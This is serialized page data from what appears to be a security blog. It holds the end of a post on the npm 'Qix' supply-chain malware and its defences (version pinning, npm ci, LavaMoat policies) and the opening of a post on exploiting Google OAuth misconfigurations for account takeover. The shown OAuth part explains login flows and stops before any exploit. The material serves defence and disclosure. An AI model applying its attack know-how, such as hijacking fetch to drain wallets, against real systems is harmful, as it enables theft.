,"value":55131},{"type":24,"tag":327,"props":105633,"children":105634},{"style":346},[105635],{"type":29,"value":5894},{"type":24,"tag":327,"props":105637,"children":105638},{"style":356},[105639],{"type":29,"value":105640},"_0x4b99fd",{"type":24,"tag":327,"props":105642,"children":105643},{"style":346},[105644],{"type":29,"value":105170},{"type":24,"tag":327,"props":105646,"children":105647},{"class":329,"line":1212},[105648],{"type":24,"tag":327,"props":105649,"children":105650},{"style":346},[105651],{"type":29,"value":13439},{"type":24,"tag":327,"props":105653,"children":105654},{"class":329,"line":4841},[105655],{"type":24,"tag":327,"props":105656,"children":105657},{"style":346},[105658],{"type":29,"value":592},{"type":24,"tag":235,"props":105660,"children":105662},{"id":105661},"impact-of-the-attack",[105663],{"type":29,"value":105664},"Impact of the Attack",{"type":24,"tag":25,"props":105666,"children":105667},{},[105668],{"type":29,"value":105669},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":228,"props":105671,"children":105673},{"id":105672},"why-it-will-happen-again",[105674],{"type":29,"value":105675},"Why It Will Happen Again",{"type":24,"tag":25,"props":105677,"children":105678},{},[105679],{"type":29,"value":105680},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":105682,"children":105683},{},[105684],{"type":29,"value":105685},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":228,"props":105687,"children":105689},{"id":105688},"what-developers-can-do",[105690],{"type":29,"value":105691},"What Developers Can Do",{"type":24,"tag":25,"props":105693,"children":105694},{},[105695],{"type":29,"value":105696},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":235,"props":105698,"children":105700},{"id":105699},"_1-version-pinning-in-packagejson",[105701,105703],{"type":29,"value":105702},"1. Version pinning in ",{"type":24,"tag":284,"props":105704,"children":105706},{"className":105705},[],[105707],{"type":29,"value":105708},"package.json",{"type":24,"tag":25,"props":105710,"children":105711},{},[105712],{"type":29,"value":105713},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":105715,"children":105716},{},[105717,105719,105725,105727,105732,105734,105739],{"type":29,"value":105718},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":284,"props":105720,"children":105722},{"className":105721},[],[105723],{"type":29,"value":105724},"npm install",{"type":29,"value":105726},". To pin it, just make sure to remove the caret ",{"type":24,"tag":284,"props":105728,"children":105730},{"className":105729},[],[105731],{"type":29,"value":55654},{"type":29,"value":105733}," symbol before the version in ",{"type":24,"tag":284,"props":105735,"children":105737},{"className":105736},[],[105738],{"type":29,"value":105708},{"type":29,"value":1636},{"type":24,"tag":317,"props":105741,"children":105743},{"code":105742,"language":40709,"meta":7,"className":40707,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[105744],{"type":24,"tag":284,"props":105745,"children":105746},{"__ignoreMap":7},[105747,105768,105789,105810],{"type":24,"tag":327,"props":105748,"children":105749},{"class":329,"line":330},[105750,105755,105759,105764],{"type":24,"tag":327,"props":105751,"children":105752},{"style":844},[105753],{"type":29,"value":105754},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":327,"props":105756,"children":105757},{"style":346},[105758],{"type":29,"value":3459},{"type":24,"tag":327,"props":105760,"children":105761},{"style":844},[105762],{"type":29,"value":105763},"\"1.23.1\"",{"type":24,"tag":327,"props":105765,"children":105766},{"style":346},[105767],{"type":29,"value":2231},{"type":24,"tag":327,"props":105769,"children":105770},{"class":329,"line":367},[105771,105776,105780,105785],{"type":24,"tag":327,"props":105772,"children":105773},{"style":844},[105774],{"type":29,"value":105775},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":327,"props":105777,"children":105778},{"style":346},[105779],{"type":29,"value":3459},{"type":24,"tag":327,"props":105781,"children":105782},{"style":844},[105783],{"type":29,"value":105784},"\"8.3.0\"",{"type":24,"tag":327,"props":105786,"children":105787},{"style":346},[105788],{"type":29,"value":2231},{"type":24,"tag":327,"props":105790,"children":105791},{"class":329,"line":408},[105792,105797,105801,105806],{"type":24,"tag":327,"props":105793,"children":105794},{"style":844},[105795],{"type":29,"value":105796},"\"@react-native-community/netinfo\"",{"type":24,"tag":327,"props":105798,"children":105799},{"style":346},[105800],{"type":29,"value":3459},{"type":24,"tag":327,"props":105802,"children":105803},{"style":844},[105804],{"type":29,"value":105805},"\"11.4.1\"",{"type":24,"tag":327,"props":105807,"children":105808},{"style":346},[105809],{"type":29,"value":2231},{"type":24,"tag":327,"props":105811,"children":105812},{"class":329,"line":421},[105813,105818,105822],{"type":24,"tag":327,"props":105814,"children":105815},{"style":844},[105816],{"type":29,"value":105817},"\"@react-native-picker/picker\"",{"type":24,"tag":327,"props":105819,"children":105820},{"style":346},[105821],{"type":29,"value":3459},{"type":24,"tag":327,"props":105823,"children":105824},{"style":844},[105825],{"type":29,"value":105826},"\"2.11.0\"\n",{"type":24,"tag":235,"props":105828,"children":105830},{"id":105829},"_2-use-npm-ci",[105831,105833],{"type":29,"value":105832},"2. Use ",{"type":24,"tag":284,"props":105834,"children":105836},{"className":105835},[],[105837],{"type":29,"value":105838},"npm ci",{"type":24,"tag":25,"props":105840,"children":105841},{},[105842,105847,105849,105855,105857,105862],{"type":24,"tag":284,"props":105843,"children":105845},{"className":105844},[],[105846],{"type":29,"value":105838},{"type":29,"value":105848}," uses the dependency versions from ",{"type":24,"tag":284,"props":105850,"children":105852},{"className":105851},[],[105853],{"type":29,"value":105854},"package-lock.json",{"type":29,"value":105856}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":284,"props":105858,"children":105860},{"className":105859},[],[105861],{"type":29,"value":105724},{"type":29,"value":105863}," when adding a new package or updating an existing one.",{"type":24,"tag":235,"props":105865,"children":105867},{"id":105866},"_3-implement-lavamoat",[105868,105870],{"type":29,"value":105869},"3. Implement ",{"type":24,"tag":57,"props":105871,"children":105874},{"href":105872,"rel":105873},"https://github.com/LavaMoat/LavaMoat/tree/main",[61],[105875],{"type":24,"tag":188,"props":105876,"children":105877},{},[105878],{"type":29,"value":105879},"Lavamoat",{"type":24,"tag":25,"props":105881,"children":105882},{},[105883],{"type":29,"value":105884},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":105886,"children":105887},{},[105888],{"type":29,"value":105889},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":317,"props":105891,"children":105893},{"code":105892,"language":40709,"meta":7,"className":40707,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[105894],{"type":24,"tag":284,"props":105895,"children":105896},{"__ignoreMap":7},[105897,105909,105921,105932,105948,105955,105962,105974,105985,106005,106021,106028,106039,106059,106075,106082,106089],{"type":24,"tag":327,"props":105898,"children":105899},{"class":329,"line":330},[105900,105905],{"type":24,"tag":327,"props":105901,"children":105902},{"style":844},[105903],{"type":29,"value":105904},"\"resources\"",{"type":24,"tag":327,"props":105906,"children":105907},{"style":346},[105908],{"type":29,"value":43735},{"type":24,"tag":327,"props":105910,"children":105911},{"class":329,"line":367},[105912,105917],{"type":24,"tag":327,"props":105913,"children":105914},{"style":356},[105915],{"type":29,"value":105916},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":327,"props":105918,"children":105919},{"style":346},[105920],{"type":29,"value":43735},{"type":24,"tag":327,"props":105922,"children":105923},{"class":329,"line":408},[105924,105928],{"type":24,"tag":327,"props":105925,"children":105926},{"style":356},[105927],{"type":29,"value":43743},{"type":24,"tag":327,"props":105929,"children":105930},{"style":346},[105931],{"type":29,"value":43735},{"type":24,"tag":327,"props":105933,"children":105934},{"class":329,"line":421},[105935,105940,105944],{"type":24,"tag":327,"props":105936,"children":105937},{"style":356},[105938],{"type":29,"value":105939},"        \"TextEncoder\"",{"type":24,"tag":327,"props":105941,"children":105942},{"style":346},[105943],{"type":29,"value":3459},{"type":24,"tag":327,"props":105945,"children":105946},{"style":334},[105947],{"type":29,"value":43904},{"type":24,"tag":327,"props":105949,"children":105950},{"class":329,"line":450},[105951],{"type":24,"tag":327,"props":105952,"children":105953},{"style":346},[105954],{"type":29,"value":20208},{"type":24,"tag":327,"props":105956,"children":105957},{"class":329,"line":481},[105958],{"type":24,"tag":327,"props":105959,"children":105960},{"style":346},[105961],{"type":29,"value":6838},{"type":24,"tag":327,"props":105963,"children":105964},{"class":329,"line":500},[105965,105970],{"type":24,"tag":327,"props":105966,"children":105967},{"style":356},[105968],{"type":29,"value":105969},"    \"@ethereumjs/util\"",{"type":24,"tag":327,"props":105971,"children":105972},{"style":346},[105973],{"type":29,"value":43735},{"type":24,"tag":327,"props":105975,"children":105976},{"class":329,"line":529},[105977,105981],{"type":24,"tag":327,"props":105978,"children":105979},{"style":356},[105980],{"type":29,"value":43743},{"type":24,"tag":327,"props":105982,"children":105983},{"style":346},[105984],{"type":29,"value":43735},{"type":24,"tag":327,"props":105986,"children":105987},{"class":329,"line":538},[105988,105993,105997,106001],{"type":24,"tag":327,"props":105989,"children":105990},{"style":356},[105991],{"type":29,"value":105992},"        \"console.warn\"",{"type":24,"tag":327,"props":105994,"children":105995},{"style":346},[105996],{"type":29,"value":3459},{"type":24,"tag":327,"props":105998,"children":105999},{"style":334},[106000],{"type":29,"value":2961},{"type":24,"tag":327,"props":106002,"children":106003},{"style":346},[106004],{"type":29,"value":2231},{"type":24,"tag":327,"props":106006,"children":106007},{"class":329,"line":547},[106008,106013,106017],{"type":24,"tag":327,"props":106009,"children":106010},{"style":356},[106011],{"type":29,"value":106012},"        \"fetch\"",{"type":24,"tag":327,"props":106014,"children":106015},{"style":346},[106016],{"type":29,"value":3459},{"type":24,"tag":327,"props":106018,"children":106019},{"style":334},[106020],{"type":29,"value":43904},{"type":24,"tag":327,"props":106022,"children":106023},{"class":329,"line":557},[106024],{"type":24,"tag":327,"props":106025,"children":106026},{"style":346},[106027],{"type":29,"value":43912},{"type":24,"tag":327,"props":106029,"children":106030},{"class":329,"line":586},[106031,106035],{"type":24,"tag":327,"props":106032,"children":106033},{"style":356},[106034],{"type":29,"value":43920},{"type":24,"tag":327,"props":106036,"children":106037},{"style":346},[106038],{"type":29,"value":43735},{"type":24,"tag":327,"props":106040,"children":106041},{"class":329,"line":1017},[106042,106047,106051,106055],{"type":24,"tag":327,"props":106043,"children":106044},{"style":356},[106045],{"type":29,"value":106046},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":327,"props":106048,"children":106049},{"style":346},[106050],{"type":29,"value":3459},{"type":24,"tag":327,"props":106052,"children":106053},{"style":334},[106054],{"type":29,"value":2961},{"type":24,"tag":327,"props":106056,"children":106057},{"style":346},[106058],{"type":29,"value":2231},{"type":24,"tag":327,"props":106060,"children":106061},{"class":329,"line":1026},[106062,106067,106071],{"type":24,"tag":327,"props":106063,"children":106064},{"style":356},[106065],{"type":29,"value":106066},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":327,"props":106068,"children":106069},{"style":346},[106070],{"type":29,"value":3459},{"type":24,"tag":327,"props":106072,"children":106073},{"style":334},[106074],{"type":29,"value":43904},{"type":24,"tag":327,"props":106076,"children":106077},{"class":329,"line":1048},[106078],{"type":24,"tag":327,"props":106079,"children":106080},{"style":346},[106081],{"type":29,"value":20208},{"type":24,"tag":327,"props":106083,"children":106084},{"class":329,"line":1067},[106085],{"type":24,"tag":327,"props":106086,"children":106087},{"style":346},[106088],{"type":29,"value":535},{"type":24,"tag":327,"props":106090,"children":106091},{"class":329,"line":1075},[106092],{"type":24,"tag":327,"props":106093,"children":106094},{"style":346},[106095],{"type":29,"value":592},{"type":24,"tag":25,"props":106097,"children":106098},{},[106099,106101,106107,106109,106115,106116,106121,106123,106129,106130,106136],{"type":29,"value":106100},"In this example, it restricts the ",{"type":24,"tag":284,"props":106102,"children":106104},{"className":106103},[],[106105],{"type":29,"value":106106},"@ethereumjs/util",{"type":29,"value":106108}," package to use only ",{"type":24,"tag":284,"props":106110,"children":106112},{"className":106111},[],[106113],{"type":29,"value":106114},"console.warn",{"type":29,"value":1323},{"type":24,"tag":284,"props":106117,"children":106119},{"className":106118},[],[106120],{"type":29,"value":40806},{"type":29,"value":106122}," functions, and to include only ",{"type":24,"tag":284,"props":106124,"children":106126},{"className":106125},[],[106127],{"type":29,"value":106128},"@ethereumjs/rlp",{"type":29,"value":1323},{"type":24,"tag":284,"props":106131,"children":106133},{"className":106132},[],[106134],{"type":29,"value":106135},"ethereum-cryptography",{"type":29,"value":106137}," packages.",{"type":24,"tag":25,"props":106139,"children":106140},{},[106141],{"type":29,"value":106142},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":106144,"children":106145},{},[106146,106148,106154],{"type":29,"value":106147},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":57,"props":106149,"children":106152},{"href":106150,"rel":106151},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[61],[106153],{"type":29,"value":44090},{"type":29,"value":66},{"type":24,"tag":235,"props":106156,"children":106158},{"id":106157},"lavamoat-vs-qix-malware",[106159],{"type":29,"value":106160},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":106162,"children":106163},{},[106164,106166,106171],{"type":29,"value":106165},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":284,"props":106167,"children":106169},{"className":106168},[],[106170],{"type":29,"value":104011},{"type":29,"value":106172},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":175,"props":106174,"children":106175},{},[106176,106188,106199,106210],{"type":24,"tag":179,"props":106177,"children":106178},{},[106179,106181,106186],{"type":29,"value":106180},"Replace ",{"type":24,"tag":284,"props":106182,"children":106184},{"className":106183},[],[106185],{"type":29,"value":40806},{"type":29,"value":106187}," function to a custom one",{"type":24,"tag":179,"props":106189,"children":106190},{},[106191,106193],{"type":29,"value":106192},"Access ",{"type":24,"tag":284,"props":106194,"children":106196},{"className":106195},[],[106197],{"type":29,"value":106198},"window.ethereum",{"type":24,"tag":179,"props":106200,"children":106201},{},[106202,106204,106209],{"type":29,"value":106203},"Call original ",{"type":24,"tag":284,"props":106205,"children":106207},{"className":106206},[],[106208],{"type":29,"value":40806},{"type":29,"value":44927},{"type":24,"tag":179,"props":106211,"children":106212},{},[106213],{"type":29,"value":106214},"Plus other actions not relevant here",{"type":24,"tag":25,"props":106216,"children":106217},{},[106218,106220,106226],{"type":29,"value":106219},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":284,"props":106221,"children":106223},{"className":106222},[],[106224],{"type":29,"value":106225},"chalk 5.6.0",{"type":29,"value":106227}," (non-malicious version) it would look like this:",{"type":24,"tag":317,"props":106229,"children":106231},{"code":106230,"language":40709,"meta":7,"className":40707,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[106232],{"type":24,"tag":284,"props":106233,"children":106234},{"__ignoreMap":7},[106235,106247,106258,106278,106294,106301],{"type":24,"tag":327,"props":106236,"children":106237},{"class":329,"line":330},[106238,106243],{"type":24,"tag":327,"props":106239,"children":106240},{"style":844},[106241],{"type":29,"value":106242},"\"chalk\"",{"type":24,"tag":327,"props":106244,"children":106245},{"style":346},[106246],{"type":29,"value":43735},{"type":24,"tag":327,"props":106248,"children":106249},{"class":329,"line":367},[106250,106254],{"type":24,"tag":327,"props":106251,"children":106252},{"style":356},[106253],{"type":29,"value":43743},{"type":24,"tag":327,"props":106255,"children":106256},{"style":346},[106257],{"type":29,"value":43735},{"type":24,"tag":327,"props":106259,"children":106260},{"class":329,"line":408},[106261,106266,106270,106274],{"type":24,"tag":327,"props":106262,"children":106263},{"style":356},[106264],{"type":29,"value":106265},"        \"navigator.userAgent\"",{"type":24,"tag":327,"props":106267,"children":106268},{"style":346},[106269],{"type":29,"value":3459},{"type":24,"tag":327,"props":106271,"children":106272},{"style":334},[106273],{"type":29,"value":2961},{"type":24,"tag":327,"props":106275,"children":106276},{"style":346},[106277],{"type":29,"value":2231},{"type":24,"tag":327,"props":106279,"children":106280},{"class":329,"line":421},[106281,106286,106290],{"type":24,"tag":327,"props":106282,"children":106283},{"style":356},[106284],{"type":29,"value":106285},"        \"navigator.userAgentData\"",{"type":24,"tag":327,"props":106287,"children":106288},{"style":346},[106289],{"type":29,"value":3459},{"type":24,"tag":327,"props":106291,"children":106292},{"style":334},[106293],{"type":29,"value":43904},{"type":24,"tag":327,"props":106295,"children":106296},{"class":329,"line":450},[106297],{"type":24,"tag":327,"props":106298,"children":106299},{"style":346},[106300],{"type":29,"value":20208},{"type":24,"tag":327,"props":106302,"children":106303},{"class":329,"line":481},[106304],{"type":24,"tag":327,"props":106305,"children":106306},{"style":346},[106307],{"type":29,"value":6838},{"type":24,"tag":25,"props":106309,"children":106310},{},[106311,106313,106319],{"type":29,"value":106312},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":284,"props":106314,"children":106316},{"className":106315},[],[106317],{"type":29,"value":106318},"navigator",{"type":29,"value":66},{"type":24,"tag":25,"props":106321,"children":106322},{},[106323,106325,106331],{"type":29,"value":106324},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":284,"props":106326,"children":106328},{"className":106327},[],[106329],{"type":29,"value":106330},"chalk v5.6.1",{"type":29,"value":106332}," it would fail due to insufficient permissions:",{"type":24,"tag":25,"props":106334,"children":106335},{},[106336],{"type":24,"tag":11511,"props":106337,"children":106339},{"alt":57299,"src":106338},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":25,"props":106341,"children":106342},{},[106343,106345,106350],{"type":29,"value":106344},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":284,"props":106346,"children":106348},{"className":106347},[],[106349],{"type":29,"value":40806},{"type":29,"value":6925},{"type":24,"tag":317,"props":106352,"children":106354},{"code":106353},"TypeError#1: Cannot define property fetch, object is not extensible\n",[106355],{"type":24,"tag":284,"props":106356,"children":106357},{"__ignoreMap":7},[106358],{"type":29,"value":106353},{"type":24,"tag":228,"props":106360,"children":106362},{"id":106361},"lavamoat-in-practice",[106363],{"type":29,"value":106364},"Lavamoat In Practice",{"type":24,"tag":25,"props":106366,"children":106367},{},[106368,106370,106377],{"type":29,"value":106369},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":57,"props":106371,"children":106374},{"href":106372,"rel":106373},"https://osec.io/reports/lavamoat_audit_final.pdf",[61],[106375],{"type":29,"value":106376},"see the audit report",{"type":29,"value":2108},{"type":24,"tag":25,"props":106379,"children":106380},{},[106381],{"type":29,"value":106382},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":228,"props":106384,"children":106385},{"id":82524},[106386],{"type":29,"value":82527},{"type":24,"tag":25,"props":106388,"children":106389},{},[106390],{"type":29,"value":106391},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":25,"props":106393,"children":106394},{},[106395,106397,106402],{"type":29,"value":106396},"Version pinning and ",{"type":24,"tag":284,"props":106398,"children":106400},{"className":106399},[],[106401],{"type":29,"value":105838},{"type":29,"value":106403}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":10448,"props":106405,"children":106406},{},[106407],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":106409},[106410,106413,106414,106423,106424],{"id":104026,"depth":367,"text":104029,"children":106411},[106412],{"id":105661,"depth":408,"text":105664},{"id":105672,"depth":367,"text":105675},{"id":105688,"depth":367,"text":105691,"children":106415},[106416,106418,106420,106422],{"id":105699,"depth":408,"text":106417},"1. Version pinning in package.json",{"id":105829,"depth":408,"text":106419},"2. Use npm ci",{"id":105866,"depth":408,"text":106421},"3. Implement Lavamoat",{"id":106157,"depth":408,"text":106160},{"id":106361,"depth":367,"text":106364},{"id":82524,"depth":367,"text":82527},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":106429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106430,"description":106431,"date":106432,"author":106433,"image":106434,"isFeatured":16,"onBlogPage":16,"tags":106436,"body":106439,"_type":10481,"_id":108770,"_source":10483,"_file":108771,"_stem":108772,"_extension":10486},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[37911,37910],{"src":106435,"width":103995,"height":14},"/posts/oauth-misconfigurations/title.png",[106437,106438],"oAuth","exchanges",{"type":21,"children":106440,"toc":108757},[106441,106447,106452,106458,106478,106484,106489,106502,106507,106515,106529,106538,106547,106561,106569,106580,106640,106646,106658,106707,106713,106718,106731,106738,106749,106769,106788,106809,106815,106828,106833,106839,106858,107483,107488,107501,108362,108367,108372,108378,108383,108389,108394,108407,108447,108453,108466,108471,108504,108509,108514,108539,108544,108556,108713,108718,108722,108734,108739,108743,108748,108753],{"type":24,"tag":228,"props":106442,"children":106444},{"id":106443},"exploiting-oauth",[106445],{"type":29,"value":106446},"Exploiting OAuth",{"type":24,"tag":25,"props":106448,"children":106449},{},[106450],{"type":29,"value":106451},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":235,"props":106453,"children":106455},{"id":106454},"google-authentication-flows",[106456],{"type":29,"value":106457},"Google Authentication Flows",{"type":24,"tag":25,"props":106459,"children":106460},{},[106461,106463,106469,106471,106476],{"type":29,"value":106462},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":284,"props":106464,"children":106466},{"className":106465},[],[106467],{"type":29,"value":106468},"postMessage",{"type":29,"value":106470}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":284,"props":106472,"children":106474},{"className":106473},[],[106475],{"type":29,"value":76490},{"type":29,"value":106477}," to send the token back to the RP.",{"type":24,"tag":168,"props":106479,"children":106481},{"id":106480},"gsi-new-flow",[106482],{"type":29,"value":106483},"GSI (New Flow)",{"type":24,"tag":25,"props":106485,"children":106486},{},[106487],{"type":29,"value":106488},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":1380,"props":106490,"children":106491},{},[106492,106497],{"type":24,"tag":179,"props":106493,"children":106494},{},[106495],{"type":29,"value":106496},"Using FedCM API",{"type":24,"tag":179,"props":106498,"children":106499},{},[106500],{"type":29,"value":106501},"Without using FedCM API",{"type":24,"tag":25,"props":106503,"children":106504},{},[106505],{"type":29,"value":106506},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":106508,"children":106509},{},[106510],{"type":24,"tag":188,"props":106511,"children":106512},{},[106513],{"type":29,"value":106514},"FedCM Method",{"type":24,"tag":25,"props":106516,"children":106517},{},[106518,106520,106527],{"type":29,"value":106519},"The FedCM method basically follows this ",{"type":24,"tag":57,"props":106521,"children":106524},{"href":106522,"rel":106523},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[61],[106525],{"type":29,"value":106526},"user experience",{"type":29,"value":106528},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":106530,"children":106531},{},[106532,106534],{"type":29,"value":106533},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":11511,"props":106535,"children":106537},{"alt":57299,"src":106536},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":106539,"children":106540},{},[106541,106543],{"type":29,"value":106542},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":11511,"props":106544,"children":106546},{"alt":57299,"src":106545},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":106548,"children":106549},{},[106550,106552,106559],{"type":29,"value":106551},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":57,"props":106553,"children":106556},{"href":106554,"rel":106555},"https://github.com/w3c-fedid/FedCM/issues/429",[61],[106557],{"type":29,"value":106558},"FedCM auto-reauthentication",{"type":29,"value":106560},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":106562,"children":106563},{},[106564],{"type":24,"tag":188,"props":106565,"children":106566},{},[106567],{"type":29,"value":106568},"Non-FedCM Method",{"type":24,"tag":25,"props":106570,"children":106571},{},[106572,106574,106579],{"type":29,"value":106573},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":284,"props":106575,"children":106577},{"className":106576},[],[106578],{"type":29,"value":106468},{"type":29,"value":1636},{"type":24,"tag":175,"props":106581,"children":106582},{},[106583,106588,106612,106617,106628],{"type":24,"tag":179,"props":106584,"children":106585},{},[106586],{"type":29,"value":106587},"The user clicks the sign in button",{"type":24,"tag":179,"props":106589,"children":106590},{},[106591,106593,106599,106601,106606,106607],{"type":29,"value":106592},"RP opens a popup/iframe to ",{"type":24,"tag":57,"props":106594,"children":106597},{"href":106595,"rel":106596},"https://accounts.google.com/o/oauth2/v2/auth",[61],[106598],{"type":29,"value":106595},{"type":29,"value":106600}," with some important parameters like ",{"type":24,"tag":284,"props":106602,"children":106604},{"className":106603},[],[106605],{"type":29,"value":76322},{"type":29,"value":1323},{"type":24,"tag":284,"props":106608,"children":106610},{"className":106609},[],[106611],{"type":29,"value":46849},{"type":24,"tag":179,"props":106613,"children":106614},{},[106615],{"type":29,"value":106616},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":179,"props":106618,"children":106619},{},[106620,106622],{"type":29,"value":106621},"They get redirected to ",{"type":24,"tag":57,"props":106623,"children":106626},{"href":106624,"rel":106625},"https://accounts.google.com/gsi/transform",[61],[106627],{"type":29,"value":106624},{"type":24,"tag":179,"props":106629,"children":106630},{},[106631,106633,106638],{"type":29,"value":106632},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":284,"props":106634,"children":106636},{"className":106635},[],[106637],{"type":29,"value":106468},{"type":29,"value":106639}," (after some SYN/ACK messages)",{"type":24,"tag":168,"props":106641,"children":106643},{"id":106642},"oauth-20-old-flow",[106644],{"type":29,"value":106645},"OAuth 2.0 Old Flow",{"type":24,"tag":25,"props":106647,"children":106648},{},[106649,106651,106656],{"type":29,"value":106650},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":284,"props":106652,"children":106654},{"className":106653},[],[106655],{"type":29,"value":76490},{"type":29,"value":106657}," provided in the URL and validated by a whitelist configuration:",{"type":24,"tag":175,"props":106659,"children":106660},{},[106661,106665,106686,106690],{"type":24,"tag":179,"props":106662,"children":106663},{},[106664],{"type":29,"value":106587},{"type":24,"tag":179,"props":106666,"children":106667},{},[106668,106669,106674,106675,106680,106681],{"type":29,"value":106592},{"type":24,"tag":57,"props":106670,"children":106672},{"href":106595,"rel":106671},[61],[106673],{"type":29,"value":106595},{"type":29,"value":106600},{"type":24,"tag":284,"props":106676,"children":106678},{"className":106677},[],[106679],{"type":29,"value":76322},{"type":29,"value":1323},{"type":24,"tag":284,"props":106682,"children":106684},{"className":106683},[],[106685],{"type":29,"value":76490},{"type":24,"tag":179,"props":106687,"children":106688},{},[106689],{"type":29,"value":106616},{"type":24,"tag":179,"props":106691,"children":106692},{},[106693,106694,106699,106701],{"type":29,"value":106621},{"type":24,"tag":284,"props":106695,"children":106697},{"className":106696},[],[106698],{"type":29,"value":76490},{"type":29,"value":106700}," with the token in the query parameters or 